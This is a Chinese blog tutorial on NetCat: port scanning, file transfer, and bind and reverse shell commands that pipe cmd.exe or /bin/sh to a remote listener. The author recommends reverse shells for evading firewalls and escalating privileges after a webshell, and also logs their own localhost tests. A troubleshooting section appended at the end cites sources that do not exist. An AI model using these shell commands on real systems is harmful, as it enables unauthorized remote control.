图解用NetCat连接远程端口

一 Netcat使用手册


简介:
在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。
 
参数格式 
连接到某处:
 
nc [-options] hostname port[s] [ports] …
 
监听端口等待连接:
 
nc -l -p port [-options] [hostname] [port]
 
主要参数:
  
options:
 
-d              无命令行界面,使用后台模式
 
-e prog          程序重定向 [危险!!]
 
-g gateway       源路由跳跃点, 不超过8
 
-G num          源路由指示器: 4, 8, 12, ...
 
-h              获取帮助信息
 
-i secs           延时设置,端口扫描时使用
 
-l               监听入站信息
 
-L              监听知道NetCat被结束(可断开重连)
 
-n              以数字形式表示的IP地址
 
-o file           使进制记录
 
-p port          打开本地端口
 
-r               随机本地和远程的端口
 
-s addr          本地源地址
 
-t               以TELNET的形式应答入站请求
 
-u              UDP 模式
 
-v               显示详细信息 [使用=vv获取更详细的信息]
 
-w secs          连接超时设置
 
-z               I/O 模式 [扫描时使用]
 
端口号可以是单个的或者存在一个范围: m-n [包含值]。
 
 
主要用途
 
一般我们使用netcat做的最多的事情为以下三种:
 
1、  扫描指定IP端口情况
 
2、  端口转发数据(重点)
 
3、提交自定义数据包
 
1、扫描常用命令。
 
以下IP 处可以使用域名,nc会调用NDS解析成IP地址。
 
【命令】nc -v ip port
 
【例如】nc -v 96.44.174.9 80
 
【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。
 
【命令】nc -v -z ip port-port
 
【例如】nc -v -z 96.44.174.9 80-1024
 
【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。
 
【命令】nc -v -z -u ip  port-port
 
【例如】nc -v -z -u 96.44.174.9 25-1024
 
【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。
 
【命令】nc -nvv -w2 -z ip port-port
 
【例如】nc -nvv -w2 -z 96.44.174.9 80-1024
 
【解释】扫锚某IP的端口段,连接超时时间为2秒。
 
实例:
 
总结:使用nc扫描速度真的不敢恭维,而且对于扫描主机存活、端口等还是交给更专业的nmap来进行,物尽其用才是硬道理,这里全当科普。
 
2、监听端口、连接端口、转发端口常用命令。
 
【命令】nc -l -p 520
 
【解释】开启本机的 TCP 520 端口并监听次端口的上传输的数据。
 
【命令】nc -l -v -p 520
 
【解释】开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。
 
【命令】nc -l -p 520 > C:/log.dat
 
【解释】开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。
 
【命令】nc -nvv 192.168.1.101 520
 
【解释】连接到192.168.1.101主机的 520。
 
重点一(正向连接):
 
【远程运行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe
 
【本地运行】nc -nvv 192.168.1.101 2012
 
【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)。
 
重点二(反向连接):
 
【本地运行】nc -l –vv -p 2012
 
【远程运行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012
 
【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012 端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。
 
总结:这个情况是最常用的内网端口转发功能,这样反弹shell即可执行命令。反向连接就是常用的反弹shell到本地,因为由主机主动发送的情况本地防火墙等设备一般不会去拦截,而正向连接到远程主机的某端口常常被拦截。
 
实例:
 
(上面一个cmd是公网IP主机,下图为笔者本地主机,可以通过目录看到shell可执行命令)
 
4、提交数据、文件传输常用命令
 
【命令】nc -vv www.91ri.org port < C:/http.txt
 
【例如】nc -vv www.91ri.org 80 < C:/http.txt
 
【解释】提交http.txt内数据包到www.91ri.org的80端口,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以自定义数据包使用此方法提交。
 
【命令1】nc -v -n ip port < C:/sunzn.exe
 
【命令2】nc -v -l -p port > D:/sunzn.exe
 
【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。
 
传输http数据包实例:
 
Linux环境下netcat使用
 
好东西肯定需要在不同的环境中都能使用,在linux环境中同样有着netcat可以使用。主要过程如下。
 
Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。
 
主要步骤:
 
1、wget一个tar压缩的nc
 
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz 
 
2、解压文件
tar zxvf netcat-0.7.1.tar.gz 
 
3、解压完毕之后会生成目录
  
cd netcat-0.7.1 
 
4、配置环境
 
./configure 
 
5、配置完了之后就可以编译了。
  
Make 
 
6、编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat文件就是我们的nc了。
 
远程Linux转发命令
 
./netcat 8.8.8.8 1234 -e /bin/sh 
 

 

from:http://www.91ri.org/7761.html 

 

 

二 操作实例

nc -l -v -p 520
开启本机520端口,监听,在控制台显示监听到的内容;
下图,第一条命令,先检查本机是否打开520端口,未开;
第二条命令开启520;进入监听状态;
再另外打开一个CMD,查看520,发现520端口已经打开;
 

 

开启520并进入监听后,打Ctrl+C退出;

在另一个CMD查找520,找不到了;

 

192.168.1.87的23端口已知开放;

打入下图命令连接;提示连接拒绝,估计被杀软禁止了;

 

下面以127.0.0.1模拟远程;

 

在远程机器上运行:

nc -l -p 2099 -t -e C:\Windows\system32\cmd.exe

把cmd绑定到2099端口;

 

在本机运行:

nc -nvv 127.0.0.1 2099

连接远程的2099;

 

在123号端口同样操作一次;

 

上面两个操作都只是显示open,就退出;是啥情况还得研究;

 

正向连接;

第一个cmd,远程主机,打开2099并监听;

第二个cmd,远程主机,绑定cmd到2099;

第三个cmd,本地,连接远程主机的2099;下图是第三个cmd敲入了命令未回车的截图;

 

回车以后如下图;显示连接上了;

 

根据资料说似乎到此可在远程主机上执行cmd命令了,不过看下图的显示;只是在本机打的命令,会在远程的监听端口显示而已;

这是啥情况尼,也许是杀软禁止了;再说咱也没干过黑别人电脑的事;下次再研究吧;

 

反向连接;按资料说更不易被防火墙阻止;

第一个cmd,本机,打开2099进入监听;

第二个cmd,本机,开启2099端口并监听等待远程主机连接;

第三个cmd,远程主机,将远程主机的 CMD 重定向到 IP 地址为 127.0.0.1 端口号为2099 的主机上,

按资料说成功后远程主机将获得一个CMD Shell;意思是远程主机可操作本地的cmd命令;

 

不过连接了以后情况如下;远程主机看上去是连上了;不过打命令也无反应;

估计此类方法当前都被杀软禁止了;

 

### 解决Netcat远程Shell连接失败问题 当遇到Netcat远程Shell连接失败的情况时,可以从以下几个方面排查并解决问题: #### 1. 检查防火墙设置 确保目标机器和本地机器之间的网络路径畅通无阻。防火墙可能会阻止特定端口的数据传输,因此需要确认防火墙规则允许必要的通信端口开放[^1]。 #### 2. 确认监听状态 验证Netcat是否已经在服务器端正确启动并处于监听模式。可以通过运行`netstat -an | grep LISTEN`来查看是否有相应的进程正在等待连接请求。对于Linux系统而言,还可以利用`ss -tuln`命令获得更详细的TCP监听信息[^5]。 #### 3. 测试基本连通性 使用简单的ping测试或其他工具(如telnet)检查两台计算机之间是否存在基础层面的可达性和延迟情况。这有助于排除物理层面上可能出现的问题[^2]。 #### 4. 查看日志记录 查阅相关服务的日志文件,比如/var/log/messages或应用程序自身的日志,寻找任何关于拒绝连接、超时或者其他异常行为的信息提示[^3]。 #### 5. 排除版本差异影响 不同版本间的兼容性也可能引发问题。如果双方使用的Netcat版本不一致,则可能导致协议解析上的冲突;此时建议统一两端所采用的具体实现形式[^4]。 ```bash # 创建一个简单的Netcat listener作为例子 nc -lvnp 8080 ``` 上述代码展示了如何创建一个简单监听器实例,在此过程中可以根据实际情况调整参数选项以适应不同的应用场景需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值